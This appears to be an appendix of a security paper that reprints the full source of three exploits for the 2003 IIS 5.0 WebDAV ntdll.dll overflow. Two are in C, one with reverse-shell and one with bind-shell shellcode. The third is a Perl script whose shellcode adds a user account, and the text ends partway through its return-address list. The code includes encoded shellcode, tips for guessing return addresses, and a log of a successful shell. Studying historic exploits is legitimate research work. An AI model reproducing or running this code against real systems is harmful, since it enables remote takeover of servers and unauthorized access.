*/ /* headers and it will run on linux boxes ;pPpPpP ). */ /* */ /*******************************************************************/ //#include
//#include #include #include #include #include //#pragma comment (lib,"ws2_32") char shellc0de[] = "\x55\x8b\xec\x33\xc9\x53\x56\x57\x8d\x7d\xa2\xb1\x25\xb8\xcc\xcc" "\xcc\xcc\xf3\xab\xeb\x09\xeb\x0c\x58\x5b\x59\x5a\x5c\x5d\xc3\xe8" "\xf2\xff\xff\xff\x5b\x80\xc3\x10\x33\xc9\x66\xb9\xb5\x01\x80\x33" "\x95\x43\xe2\xfa\x66\x83\xeb\x67\xfc\x8b\xcb\x8b\xf3\x66\x83\xc6" "\x46\xad\x56\x40\x74\x16\x55\xe8\x13\x00\x00\x00\x8b\x64\x24\x08" "\x64\x8f\x05\x00\x00\x00\x00\x58\x5d\x5e\xeb\xe5\x58\xeb\xb9\x64" "\xff\x35\x00\x00\x00\x00\x64\x89\x25\x00\x00\x00\x00\x48\x66\x81" "\x38\x4d\x5a\x75\xdb\x64\x8f\x05\x00\x00\x00\x00\x5d\x5e\x8b\xe8" "\x03\x40\x3c\x8b\x78\x78\x03\xfd\x8b\x77\x20\x03\xf5\x33\xd2\x8b" "\x06\x03\xc5\x81\x38\x47\x65\x74\x50\x75\x25\x81\x78\x04\x72\x6f" "\x63\x41\x75\x1c\x81\x78\x08\x64\x64\x72\x65\x75\x13\x8b\x47\x24" "\x03\xc5\x0f\xb7\x1c\x50\x8b\x47\x1c\x03\xc5\x8b\x1c\x98\x03\xdd" "\x83\xc6\x04\x42\x3b\x57\x18\x75\xc6\x8b\xf1\x56\x55\xff\xd3\x83" "\xc6\x0f\x89\x44\x24\x20\x56\x55\xff\xd3\x8b\xec\x81\xec\x94\x00" "\x00\x00\x83\xc6\x0d\x56\xff\xd0\x89\x85\x7c\xff\xff\xff\x89\x9d" "\x78\xff\xff\xff\x83\xc6\x0b\x56\x50\xff\xd3\x33\xc9\x51\x51\x51" "\x51\x41\x51\x41\x51\xff\xd0\x89\x85\x94\x00\x00\x00\x8b\x85\x7c" "\xff\xff\xff\x83\xc6\x0b\x56\x50\xff\xd3\x83\xc6\x08\x6a\x10\x56" "\x8b\x8d\x94\x00\x00\x00\x51\xff\xd0\x33\xdb\xc7\x45\x8c\x44\x00" "\x00\x00\x89\x5d\x90\x89\x5d\x94\x89\x5d\x98\x89\x5d\x9c\x89\x5d" "\xa0\x89\x5d\xa4\x89\x5d\xa8\xc7\x45\xb8\x01\x01\x00\x00\x89\x5d" "\xbc\x89\x5d\xc0\x8b\x9d\x94\x00\x00\x00\x89\x5d\xc4\x89\x5d\xc8" "\x89\x5d\xcc\x8d\x45\xd0\x50\x8d\x4d\x8c\x51\x6a\x00\x6a\x00\x6a" "\x00\x6a\x01\x6a\x00\x6a\x00\x83\xc6\x09\x56\x6a\x00\x8b\x45\x20" "\xff\xd0" "CreateProcessA\x00LoadLibraryA\x00ws2_32.dll\x00WSASocketA\x00" "connect\x00\x02\x00\x02\x9A\xC0\xA8\x01\x01\x00" "cmd" // don't change anything.. "\x00\x00\xe7\x77" // offsets of kernel32.dll for some win ver.. "\x00\x00\xe8\x77" "\x00\x00\xf0\x77" "\x00\x00\xe4\x77" "\x00\x88\x3e\x04" // win2k3 "\x00\x00\xf7\xbf" // win9x =P "\xff\xff\xff\xff"; int test_host(char *host) { char search[100]=""; int sock; struct hostent *heh; struct sockaddr_in hmm; char buf[100] =""; if(strlen(host)>60) { printf("error: victim host too long.\r\n"); return 1; } if ((heh = gethostbyname(host))==0){ printf("error: can't resolve '%s'",host); return 1; } sprintf(search,"SEARCH / HTTP/1.1\r\nHost: %s\r\n\r\n",host); hmm.sin_port = htons(80); hmm.sin_family = AF_INET; hmm.sin_addr = *((struct in_addr *)heh->h_addr); if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1){ printf("error: can't create socket"); return 1; } printf("Checking WebDav on '%s' ... ",host); if ((connect(sock, (struct sockaddr *) &hmm, sizeof(hmm))) == -1){ printf("CONNECTING_ERROR\r\n"); return 1; } send(sock,search,strlen(search),0); recv(sock,buf,sizeof(buf),0); if(buf[9]=='4'&&buf[10]=='1'&&buf[11]=='1') return 0; printf("NOT FOUND\r\n"); return 1; } void help(char *program) { printf("syntax: %s [padding]\r\n",program); return; } void banner(void) { printf("\r\n\t [Crpt] ntdll.dll exploit trough WebDAV by kralor [Crpt]\r\n"); printf("\t\twww.coromputer.net && undernet #coromputer\r\n\r\n"); return; } void main(int argc, char *argv[]) { // WSADATA wsaData; unsigned short port=0; char *port_to_shell="", *ip1="", data[50]=""; unsigned int i,j; unsigned int ip = 0 ; int s, PAD=0x10; struct hostent *he; struct sockaddr_in crpt; char buffer[65536] =""; char request[80000]; // huuuh, what a mess! :) char content[] = "< ?xml version=\"1.0\" ? >\r\n" " \r\n" "\r\n"; banner(); if((argc<4)||(argc>5)) { help(argv[0]); return; } //if(WSAStartup(0x0101,&wsaData)!=0) { //printf("error starting winsock.."); //return; //} if(test_host(argv[1])) return; if(argc==5) PAD+=atoi(argv[4]); printf("FOUND\r\nexploiting ntdll.dll through WebDav [ret: 0x00%02x00%02x]\r\n",PAD,PAD); ip = inet_addr(argv[2]); ip1 = (char*)&ip; shellc0de[448]=ip1[0]; shellc0de[449]=ip1[1]; shellc0de[450]=ip1[2]; shellc0de[451]=ip1[3]; port = htons(atoi(argv[3])); port_to_shell = (char *) &port; shellc0de[446]=port_to_shell[0]; shellc0de[447]=port_to_shell[1]; // we xor the shellcode [xored by 0x95 to avoid bad chars] /* _asm { lea eax, shellc0de add eax, 0x34 xor ecx, ecx mov cx, 0x1b0 wah: xor byte ptr[eax], 0x95 inc eax loop wah } */ /* inserted this approximated c-code instead sorry kralor I don't like asm-lines, but it still works... */ for(i=52; i \r\n" "Select \"DAV:displayname\" from scope()\r\n" "\r\n" " h_addr); if ((s = socket(AF_INET, SOCK_STREAM, 0)) == -1){ printf("error: can't create socket"); return; } printf("Connecting... "); if ((connect(s, (struct sockaddr *) &crpt, sizeof(crpt))) == -1){ printf("ERROR\r\n"); return; } // No Operation. for(i=0;i
Appendix B Source code of rs_iis.c/*************************************/ /* IIS 5.0 WebDAV -Proof of concept- */ /* [ Bug: CAN-2003-0109 ] */ /* By Roman Medina-Heigl Hernandez */ /* aka RoMaNSoFt
*/ /* Madrid, 23.Mar.2003 */ /* ================================= */ /* Public release. Version 1. */ /* --------------------------------- */ /* -= http://www.rs-labs.com/ =- */ /*************************************/ /* ======================================================================== * --[ READ ME ] * * This exploit is mainly a proof of concept of the recently discovered ntdll.dll bug (which may be * exploited in many other programs, not necessarily IIS). Practical exploitation is not as easy as * expected due to difficult RET guessing mixed with possible IIS crashes (which makes RET brute * forcing a tedious work). The shellcode included here will bind a cmd.exe shell to a given port * at the victim machine so it could be problematic if that machine is protected behind a firewall. * For all these reasons, the scope of this code is limited and mainly intended for educational * purposes. I am not responsible of possible damages created by the use of this exploit code. * * The program sends a HTTP request like this: * * SEARCH /[nop] [ret][ret][ret] ... [ret] [nop][nop][nop][nop][nop] ... [nop] [jmpcode] HTTP/1.1 * {HTTP headers here} * {HTTP body with webDAV content} * 0x01 [shellcode] * * IIS converts the first ascii string ([nop]...[jmpcode]) to Unicode using UTF-16 encoding (for * instance, 0x41 becomes 0x41 0x00, i.e. an extra 0x00 byte is added) and it is the resultant * Unicode string the one producing the overflow. So at first glance, we cannot include code here * (more on this later) because it would get corrupted by 0x00 (and other) inserted bytes. Not at * least using the common method. Another problem that we will have to live with is our RET value * being padded with null bytes, so if we use 0xabcd in our string, the real RET value (i.e. the * one EIP will be overwritten with) would be 0x00ab00cd. This is an important restriction. * * We have two alternatives: * * 1) The easy one: find any occurrences of our ascii string (i.e. before it gets converted to * the Unicode form) in process memory. Problem: normally we should find it by debugging the * vulnerable application and then hardcode the found address (which will be the RET address) * in our exploit code. This RET address is variable, even for the same version of OS and app * (I mean, different instances of the same application in the same machine could make the * guessed RET address invalid at different moments). Now add the restriction of RET value * padded with null-bytes. Anyway, the main advantage of this method is that we will not have * to deal with 0x00-padded shellcode. * * 2) The not so-easy one: you could insert an encoded shellcode in such a way that when the app * expands the ascii string (with the encoded shellcode) to Unicode, a valid shellcode is * automagically placed into memory. Please, refer to Chris Anley's "venetian exploit" paper * to read more about this. Dave Aitel also has a good paper about this technique and indeed * he released code written in Python to encode shellcode (I'm wondering if he will release a * working tool for that purpose, since the actual code was released as part of a commercial * product, so it cannot be run without buying the whole product, despite the module itself * being free!). Problem: it is not so easy as the first method ;-) Advantage: when the over- * flow happens, some registers may point to our Unicoded string (where our Unicoded-shellcode * lives in), so we don't need to guess the address where shellcode will be placed and the * chance of a successful exploitation is greatly improved. For instance, in this case, when * IIS is overflowed, ECX register points to the Unicode string. The idea is then fill in * RET value with the fixed address of code like "call %ecx". This code may be contained in * any previosly-loaded library, for example). * * Well, guess it... yes... I chose the easy method :-) Perhaps I will rewrite the exploit * using method 2, but I cannot promise that. * * Let's see another problem of the method 1 (which I have used). Not all Unicode conversions * result in a 0x00 byte being added. This is true for ascii characters lower or equal to 0x7f * (except for some few special characters, I'm not sure). But our shellcode will have bytes * greater than 0x7f value. So we don't know the exact length of the Unicoded-string containing * our shellcode (some ascii chars will expand to more than 2 bytes, I think). As a result, * sometimes the exploit may not work, because no exact length is matched. For instance, if you * carry out experiments on this issue, you could see that IIS crashes (overflow occurs) when * entering a query like SEARCH /AAAA...AAA HTTP/1.1, with 65535 A's. Same happens with 65536. * But with different values seems NOT to work. So matching the exact length is important here! * * What I have done, it is to include a little "jumpcode" instead of the shellcode itself. The * jumpcode is placed into the "critical" place and has a fixed length, so our string has always * a fixed length, too. The "variable" part (the shellcode) is placed at the end of the HTTP * request (so you can insert your own shellcode and remove the one I'm using here, with no apparent * problem). To be precise, the end of the request will be: 0x01 [shellcode]. The 0x01 byte marks * the beginning of the shellcode and it is used by the jumpcode to find the address where shell- * code begins and jump into it. It is not possible to hardcode a relative jump, because HTTP * headers have a variable length (think about the "Host:" header and you will understand what * I'm saying). Well, really, the exploit could have calculated the relative jump itself (other * problems arise like null-bytes possibly contained in the offset field) but I have prefered to * use the 0x01 trick. It's my exploit, it's my choice :-) * * After launching the exploit, several things may happen: * - the exploit is successful. You can connect to the bound port of victim machine and get a * shell. Great. Remember that when you issue an "exit" command in the shell prompt, the pro- * cess will be terminated. This implies that IIS could die. * - exploit returns a "server not vulnerable" response. Really, the server may not be vulnerable * or perhaps the SEARCH method used by the exploit is not permitted (the bug can still be * exploited via GET, probably) or webDAV is disabled at all. * - exploit did not get success (which is not strange, since it is not easy to guess RET value) * but the server is vulnerable. IIS will probably not survive: a "net start w3svc" could be * needed in the victim machine, in order to restart the WWW service. * * The following log shows a correct exploitation: * * roman@goliat:~/iis5webdav> gcc -o rs_iis rs_iis.c * roman@goliat:~/iis5webdav> ./rs_iis roman * [*] Resolving hostname ... * [*] Attacking port 80 at roman (EIP = 0x00480004)... * [*] Now open another console/shell and try to connect (telnet) to victim port 31337... * * roman@goliat:~/iis5webdav> telnet roman 31337 * Trying 192.168.0.247... * Connected to roman. * Escape character is '^]'. * Microsoft Windows 2000 [Versi¢n 5.00.2195] * (C) Copyright 1985-2000 Microsoft Corp. * * C:\WINNT\system32> * * * I am not going to show logs for the faulty cases. I'm pretty sure you will see them very * soon :-) But yes, the exploit works, perhaps a little fine-tunning may be required, though. * So please, do NOT contact me telling that the exploit doesn't work or things like that. It * worked for me and it will work for you, if you're not a script-kiddie. Try to attach to the * IIS process (inetinfo.exe) with the help of a debugger (OllyDbg is my favourite) on the * victim machine and then launch the exploit against it. Debugger will break when the first * exception is produced. Now place a breakpoint in 0x00ab00cd (being 0xabcd the not-unicoded * RET value) and resume execution until you reach that point. Finally, it's time to search * the memory looking for our shellcode. It is nearly impossible (very low chance) that our * shellcode is found at any 0x00**00**-form address (needed to bypass the RET restriction * imposed by Unicode conversion) but no problem: you have a lot of NOPs before the shellcode * where you could point to. If EIP is overwritten with the address of such a NOP, program flow * will finish reaching our shellcode. Note also that among the two bytes of RET that we have some * kind of control, the more important is the first one, i.e. the more significant. In other * words, interesting RET values to try are: 0x0104, 0x0204, 0x0304, 0x0404, 0x0504, ..., * and so on, till 0xff04. As you may have noticed, the last byte (0x04) is never changed because * its weight is minimal (256 between aprox. 65000 NOP's is not appreciable). * * I will be happy to receive ideas, comments and feedback about issues related to this exploit * and the exploited vulnerability itself. Drop me an e-mail. No script-kiddies, please. * * My best wishes, * --Roman * * ================================================================= --[ EOT ]-- ==================== */ #include #include #include #include #include #include #include #include // Change to fit your need #define RET 0x4804 // EIP = 0x00480004 #define LOADLIBRARYA 0x0100107c #define GETPROCADDRESS 0x01001034 // Don't change this #define PORT_OFFSET 1052 #define LOADL_OFFSET 798 #define GETPROC_OFFSET 815 #define NOP 0x90 #define MAXBUF 100000 /* * LoadLibraryA IT Address := 0100107C * GetProcAddress IT Address := 01001034 */ unsigned char shellcode[] = // Deepzone shellcode "\x68\x5e\x56\xc3\x90\x54\x59\xff\xd1\x58\x33\xc9\xb1\x1c" "\x90\x90\x90\x90\x03\xf1\x56\x5f\x33\xc9\x66\xb9\x95\x04" "\x90\x90\x90\xac\x34\x99\xaa\xe2\xfa\x71\x99\x99\x99\x99" "\xc4\x18\x74\x40\xb8\xd9\x99\x14\x2c\x6b\xbd\xd9\x99\x14" "\x24\x63\xbd\xd9\x99\xf3\x9e\x09\x09\x09\x09\xc0\x71\x4b" "\x9b\x99\x99\x14\x2c\xb3\xbc\xd9\x99\x14\x24\xaa\xbc\xd9" "\x99\xf3\x93\x09\x09\x09\x09\xc0\x71\x23\x9b\x99\x99\xf3" "\x99\x14\x2c\x40\xbc\xd9\x99\xcf\x14\x2c\x7c\xbc\xd9\x99" "\xcf\x14\x2c\x70\xbc\xd9\x99\xcf\x66\x0c\xaa\xbc\xd9\x99" "\xf3\x99\x14\x2c\x40\xbc\xd9\x99\xcf\x14\x2c\x74\xbc\xd9" "\x99\xcf\x14\x2c\x68\xbc\xd9\x99\xcf\x66\x0c\xaa\xbc\xd9" "\x99\x5e\x1c\x6c\xbc\xd9\x99\xdd\x99\x99\x99\x14\x2c\x6c" "\xbc\xd9\x99\xcf\x66\x0c\xae\xbc\xd9\x99\x14\x2c\xb4\xbf" "\xd9\x99\x34\xc9\x66\x0c\xca\xbc\xd9\x99\x14\x2c\xa8\xbf" "\xd9\x99\x34\xc9\x66\x0c\xca\xbc\xd9\x99\x14\x2c\x68\xbc" "\xd9\x99\x14\x24\xb4\xbf\xd9\x99\x3c\x14\x2c\x7c\xbc\xd9" "\x99\x34\x14\x24\xa8\xbf\xd9\x99\x32\x14\x24\xac\xbf\xd9" "\x99\x32\x5e\x1c\xbc\xbf\xd9\x99\x99\x99\x99\x99\x5e\x1c" "\xb8\xbf\xd9\x99\x98\x98\x99\x99\x14\x2c\xa0\xbf\xd9\x99" "\xcf\x14\x2c\x6c\xbc\xd9\x99\xcf\xf3\x99\xf3\x99\xf3\x89" "\xf3\x98\xf3\x99\xf3\x99\x14\x2c\xd0\xbf\xd9\x99\xcf\xf3" "\x99\x66\x0c\xa2\xbc\xd9\x99\xf1\x99\xb9\x99\x99\x09\xf1" "\x99\x9b\x99\x99\x66\x0c\xda\xbc\xd9\x99\x10\x1c\xc8\xbf" "\xd9\x99\xaa\x59\xc9\xd9\xc9\xd9\xc9\x66\x0c\x63\xbd\xd9" "\x99\xc9\xc2\xf3\x89\x14\x2c\x50\xbc\xd9\x99\xcf\xca\x66" "\x0c\x67\xbd\xd9\x99\xf3\x9a\xca\x66\x0c\x9b\xbc\xd9\x99" "\x14\x2c\xcc\xbf\xd9\x99\xcf\x14\x2c\x50\xbc\xd9\x99\xcf" "\xca\x66\x0c\x9f\xbc\xd9\x99\x14\x24\xc0\xbf\xd9\x99\x32" "\xaa\x59\xc9\x14\x24\xfc\xbf\xd9\x99\xce\xc9\xc9\xc9\x14" "\x2c\x70\xbc\xd9\x99\x34\xc9\x66\x0c\xa6\xbc\xd9\x99\xf3" "\xa9\x66\x0c\xd6\xbc\xd9\x99\x72\xd4\x09\x09\x09\xaa\x59" "\xc9\x14\x24\xfc\xbf\xd9\x99\xce\xc9\xc9\xc9\x14\x2c\x70" "\xbc\xd9\x99\x34\xc9\x66\x0c\xa6\xbc\xd9\x99\xf3\xc9\x66" "\x0c\xd6\xbc\xd9\x99\x1a\x24\xfc\xbf\xd9\x99\x9b\x96\x1b" "\x8e\x98\x99\x99\x18\x24\xfc\xbf\xd9\x99\x98\xb9\x99\x99" "\xeb\x97\x09\x09\x09\x09\x5e\x1c\xfc\xbf\xd9\x99\x99\xb9" "\x99\x99\xf3\x99\x12\x1c\xfc\xbf\xd9\x99\x14\x24\xfc\xbf" "\xd9\x99\xce\xc9\x12\x1c\xc8\xbf\xd9\x99\xc9\x14\x2c\x70" "\xbc\xd9\x99\x34\xc9\x66\x0c\xde\xbc\xd9\x99\xf3\xc9\x66" "\x0c\xd6\xbc\xd9\x99\x12\x1c\xfc\xbf\xd9\x99\xf3\x99\xc9" "\x14\x2c\xc8\xbf\xd9\x99\x34\xc9\x14\x2c\xc0\xbf\xd9\x99" "\x34\xc9\x66\x0c\x93\xbc\xd9\x99\xf3\x99\x14\x24\xfc\xbf" "\xd9\x99\xce\xf3\x99\xf3\x99\xf3\x99\x14\x2c\x70\xbc\xd9" "\x99\x34\xc9\x66\x0c\xa6\xbc\xd9\x99\xf3\xc9\x66\x0c\xd6" "\xbc\xd9\x99\xaa\x50\xa0\x14\xfc\xbf\xd9\x99\x96\x1e\xfe" "\x66\x66\x66\xf3\x99\xf1\x99\xb9\x99\x99\x09\x14\x2c\xc8" "\xbf\xd9\x99\x34\xc9\x14\x2c\xc0\xbf\xd9\x99\x34\xc9\x66" "\x0c\x97\xbc\xd9\x99\x10\x1c\xf8\xbf\xd9\x99\xf3\x99\x14" "\x24\xfc\xbf\xd9\x99\xce\xc9\x14\x2c\xc8\xbf\xd9\x99\x34" "\xc9\x14\x2c\x74\xbc\xd9\x99\x34\xc9\x66\x0c\xd2\xbc\xd9" "\x99\xf3\xc9\x66\x0c\xd6\xbc\xd9\x99\xf3\x99\x12\x1c\xf8" "\xbf\xd9\x99\x14\x24\xfc\xbf\xd9\x99\xce\xc9\x12\x1c\xc8" "\xbf\xd9\x99\xc9\x14\x2c\x70\xbc\xd9\x99\x34\xc9\x66\x0c" "\xde\xbc\xd9\x99\xf3\xc9\x66\x0c\xd6\xbc\xd9\x99\x70\x20" "\x67\x66\x66\x14\x2c\xc0\xbf\xd9\x99\x34\xc9\x66\x0c\x8b" "\xbc\xd9\x99\x14\x2c\xc4\xbf\xd9\x99\x34\xc9\x66\x0c\x8b" "\xbc\xd9\x99\xf3\x99\x66\x0c\xce\xbc\xd9\x99\xc8\xcf\xf1" "\xe5\x89\x99\x98\x09\xc3\x66\x8b\xc9\xc2\xc0\xce\xc7\xc8" "\xcf\xca\xf1\xad\x89\x99\x98\x09\xc3\x66\x8b\xc9\x35\x1d" "\x59\xec\x62\xc1\x32\xc0\x7b\x70\x5a\xce\xca\xd6\xda\xd2" "\xaa\xab\x99\xea\xf6\xfa\xf2\xfc\xed\x99\xfb\xf0\xf7\xfd" "\x99\xf5\xf0\xea\xed\xfc\xf7\x99\xf8\xfa\xfa\xfc\xe9\xed" "\x99\xea\xfc\xf7\xfd\x99\xeb\xfc\xfa\xef\x99\xfa\xf5\xf6" "\xea\xfc\xea\xf6\xfa\xf2\xfc\xed\x99\xd2\xdc\xcb\xd7\xdc" "\xd5\xaa\xab\x99\xda\xeb\xfc\xf8\xed\xfc\xc9\xf0\xe9\xfc" "\x99\xde\xfc\xed\xca\xed\xf8\xeb\xed\xec\xe9\xd0\xf7\xff" "\xf6\xd8\x99\xda\xeb\xfc\xf8\xed\xfc\xc9\xeb\xf6\xfa\xfc" "\xea\xea\xd8\x99\xc9\xfc\xfc\xf2\xd7\xf8\xf4\xfc\xfd\xc9" "\xf0\xe9\xfc\x99\xde\xf5\xf6\xfb\xf8\xf5\xd8\xf5\xf5\xf6" "\xfa\x99\xcb\xfc\xf8\xfd\xdf\xf0\xf5\xfc\x99\xce\xeb\xf0" "\xed\xfc\xdf\xf0\xf5\xfc\x99\xca\xf5\xfc\xfc\xe9\x99\xda" "\xf5\xf6\xea\xfc\xd1\xf8\xf7\xfd\xf5\xfc\x99\xdc\xe1\xf0" "\xed\xc9\xeb\xf6\xfa\xfc\xea\xea\x99\xda\xf6\xfd\xfc\xfd" "\xb9\xfb\xe0\xb9\xe5\xc3\xf8\xf7\xb9\xa5\xf0\xe3\xf8\xf7" "\xd9\xfd\xfc\xfc\xe9\xe3\xf6\xf7\xfc\xb7\xf6\xeb\xfe\xa7" "\x9b\x99\x86\xd1\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99" "\x99\x99\x95\x99\x99\x99\x99\x99\x99\x99\x98\x99\x99\x99" "\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99" "\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99" "\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99" "\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99" "\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99" "\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99" "\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99" "\x99\x99\xda\xd4\xdd\xb7\xdc\xc1\xdc\x99\x99\x99\x99\x99" "\x89\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99" "\x99\x99\x99\x99\x99\x99\x90\x90\x90\x90\x90\x90\x90\x90"; unsigned char jumpcode[] = "\x8b\xf9\x32\xc0\xfe\xc0\xf2\xae\xff\xe7"; /* mov edi, ecx * xor al, al * inc al * repnz scasb * jmp edi */ char body[] = "< ?xml version=\"1.0\"? >\r\n \r\n" \ "\r\n"; /* Our code starts here */ int main (int argc, char **argv) { unsigned long ret; unsigned short port; int tport, bport, s, i, j, r, rt=0; struct hostent *h; struct sockaddr_in dst; char buffer[MAXBUF]; if (argc < 2 || argc > 5) { printf("IIS 5.0 WebDAV Exploit by RoMaNSoFt \r\nSelect \"DAV:displayname\" from scope()\r\n\r\n . 23/03/2003\nUsage: %s [target port] [bind port] [ret]\nE.g 1: %s victim.com\nE.g 2: %s victim.com 80 31337 %#.4x\n", argv[0], argv[0], argv[0], RET); exit(-1); } // Default target port = 80 if (argc > 2) tport = atoi(argv[2]); else tport = 80; // Default bind port = 31337 if (argc > 3) bport = atoi(argv[3]); else bport = 31337; // Default ret value = RET if (argc > 4) ret = strtoul(argv[4], NULL, 16); else ret = RET; if ( ret > 0xffff || (ret & 0xff) == 0 || (ret & 0xff00) == 0 ) { fprintf(stderr, "RET value must be in 0x0000-0xffff range and it may not contain null-bytes\nAborted!\n"); exit(-2); } // Shellcode patching port = htons(bport); port ^= 0x9999; if ( ((port & 0xff) == 0) || ((port & 0xff00) == 0) ) { fprintf(stderr, "Binding-port contains null-byte. Use another port.\nAborted!\n"); exit(-3); } *(unsigned short *)&shellcode[PORT_OFFSET] = port; *(unsigned long *)&shellcode[LOADL_OFFSET] = LOADLIBRARYA ^ 0x99999999; *(unsigned long *)&shellcode[GETPROC_OFFSET] = GETPROCADDRESS ^ 0x99999999; // If the last two items contain any null-bytes, exploit will fail. // WARNING: this check is not performed here. Be careful and check it for yourself! // Resolve hostname printf("[*] Resolving hostname ...\n"); if ((h = gethostbyname(argv[1])) == NULL) { fprintf(stderr, "%s: unknown hostname\n", argv[1]); exit(-4); } bcopy(h->h_addr, &dst.sin_addr, h->h_length); dst.sin_family = AF_INET; dst.sin_port = htons(tport); // Socket creation if ((s = socket(AF_INET, SOCK_STREAM, 0)) == -1) { perror("Failed to create socket"); exit(-5); } // Connection if (connect(s, (struct sockaddr *)&dst, sizeof(dst)) == -1) { perror("Failed to connect"); exit(-6); } // Build malicious string... printf("[*] Attacking port %i at %s (EIP = %#.4x%.4x)...\n", tport, argv[1], ((ret >> 8) & 0xff), ret & 0xff); bzero(buffer, MAXBUF); strcpy(buffer, "SEARCH /"); i = strlen(buffer); buffer[i] = NOP; // Align for RET overwrite // Normally, EIP will be overwritten with buffer[8+2087] but I prefer to fill some more bytes ;-) for (j=i+1; j < i+2150; j+=2) *(unsigned short *)&buffer[j] = (unsigned short)ret; // The rest is padded with NOP's. RET address should point to this zone! for (; j < i+65535-strlen(jumpcode); j++) buffer[j] = NOP; // Then we skip the body of the HTTP request memcpy(&buffer[j], jumpcode, strlen(jumpcode)); strcpy(buffer+strlen(buffer), " HTTP/1.1\r\n"); sprintf(buffer+strlen(buffer), "Host: %s\r\nContent-Type: text/xml\r\nContent-Length: %d\r\n\r\n", argv[1], strlen(body) + strlen(shellcode)); strcpy(buffer+strlen(buffer), body); // This byte is used to mark the beginning of the shellcode memset(buffer+strlen(buffer), 0x01, 1); // And finally, we land into our shellcode memset(buffer+strlen(buffer), NOP, 3); strcpy(buffer+strlen(buffer), shellcode); // Send request if (send(s, buffer, strlen(buffer), 0) != strlen(buffer)) { perror("Failed to send"); exit(-7); } printf("[*] Now open another console/shell and try to connect (telnet) to victim port %i...\n", bport); // Receive response while ( (r=recv(s, &buffer[rt], MAXBUF-1, 0)) > 0) rt += r; // This code is not bullet-proof. An evil WWW server could return a response bigger than MAXBUF // and an overflow would occur here. Yes, I'm lazy... :-) buffer[rt] = '\0'; if (rt > 0) printf("[*] Victim server issued the following %d bytes of response:\n--\n%s\n--\n[*] Server NOT vulnerable!\n", rt, buffer); else printf("[*] Server is vulnerable but the exploit failed! Change RET value (e.g. 0xce04) and try again (when IIS is up again) :-/\n", bport); close(s); }
Appendix C Source code of wd.pl#!/bin/perl # # 2003.3.24 # # firstname.lastname@example.com # firstname.lastname@example.com # # tested on Windows 2000 Advanced Server SP3: Korean language edition # ntdll.dll with 2002.7.3 version # You need to change some parameters to make this exploit work on your platform of choice # # This exploit uses unicode decoder scheme and self-modifies unicoded shellcode to original one. # use Socket; if($#ARGV<0) { die "usage: wd.pl
\n"; } my $host=$ARGV[0]; my $url_len=65514; #LOCK: 65514 #SEARCH: 65535 my $host_header="Host: $host\r\n"; my $translate_f="Translate: f\r\n"; $translate_f=""; my $port=80; my $depth="Depth: 1\r\n"; $depth=""; my $connection_str="Connection: Close\r\n"; $connection_str=""; my $url2="B"; $url2=""; my $cont="C"; my $lock_token="Lock-Token: $cont\r\n"; $lock_token=""; my $destination="Destination: /$url2\r\n"; $destination=""; # LoadLibrary: 0x100107c; # GetProcAddress 0x1001034; # WinExec("net user matt 1234 /ADD") # this shellcode is encoded to printable string form my $shellcode_net_user_add_mat="\x34\x34\x30\x2e\x2c\ ... x76\x77\x49\x4a"; my $shellcode_ping_211_59_27_66="\x34\x34\x30\x2e\x2c ... x76\x77\x49\x4a"; my $shellcode="$shellcode_ping_211_59_27_66"; my $body="< ?xml version=\"1.0\">\r\n \r\n\r\n"; my $length_of_body=length($body); # # jmp ebx,call ebx addresses # my @return_addresses=( "%u300e%u74da", "%u61a9%u74da", "%u3384%u7779", "%u215c%u777e", "%u59bb%u777e", "%u59d4%u777e", "%u68b3%u777e", "%u8dcf%u777e", "%u52f8%u7800", "%ue0af%u7800", "%ub405%u7802", "%u32ac%u77e2", "%uc1b5%u76ae", "%u005d%u77a5", "%u0060%u776b", "%u00b4%u77a5", "%u00e6%u77ac", "%u014a%u7766", "%u0392%u7511", "%u03a0%u7511", "%u0900%u6df1", "%u0900%u778b", "%u1167%u6b32", "%u1184%u6ed4", "%u1192%u6b3e", "%u11b1%u779e", "%u11b9%u777f", "%u11b9%u782c", "%u11d3%u7834", "%u1800%u749e", "%u20ac%u777f", "%u2171%u7766", "%u2172%u6b3a", "%u2191%u6e6f", "%u21d4%u6e6f", "%u2283%u730a", "%u24b9%u7763", "%u24d5%u7763", "%u24e8%u7761", "%u2503%u7834", "%u2514%u77e2", "%u251e%u77db", "%u2521%u7761", "%u2527%u77db", "%u2530%u77db", "%u253c%u77e2", "%u2547%u77dc", "%u2592%u77dc", "%u266d%u76ae", "%u2e00%u76ae", "%u300e%u74e3", "%u306c%u7766", "%u30a5%u77e5", "%u30b0%u77e5", "%u327b%u6e44", "%u327b%u6e5e", "%u329b%u6e44", "%u329b%u6e5e", "%u329c%u77e2", "%u3384%u777e", "%u3397%u6e00", "%u33d0%u76ae", "%u3700%u777f", "%u4e5e%u7900", "%u4ea4%u7325", "%u4ec0%u77db", "%u4ef2%u77ac", "%u4f73%u749f", "%u4fd4%u77dc", "%u4ff1%u749f", "%u5023%u749f", "%u5078%u77a5", "%u5112%u77dc", "%u5121%u749f", "%u5144%u77dc", "%u5146%u77e2", "%u514e%u77ac", "%u518d%u6dee", "%u51c4%u7387", "%u5237%u77ac", "%u52a0%u777f", "%u52a0%u782c", "%u52d5%u777f", "%u52d5%u782c", "%u5339%u6b3a", "%u5339%u777f", "%u5366%u7740", "%u555e%u741b", "%u5653%u749e", "%u5718%u6c7e", "%u574d%u7901", "%u5775%u7901", "%u5806%u7325", "%u5821%u777f", "%u5821%u782c", "%u5831%u777f", "%u5831%u782c", "%u587c%u777f", "%u587c%u782c", "%u58c5%u777f", "%u58d5%u777f", "%u58fd%u777f", "%u58fd%u782c", "%u5949%u72fc", "%u5949%u777f", "%u5955%u72fc", "%u5967%u777f", "%u5997%u777f", "%u5997%u782c", "%u5a25%u777f", "%u5a25%u782c", "%u5ac9%u777f", "%u5b5a%u6c7e", "%u5b64%u777f", "%u5b8f%u6731", "%u5b9c%u6731", "%u5b9c%u6e44", "%u5c04%u777f", 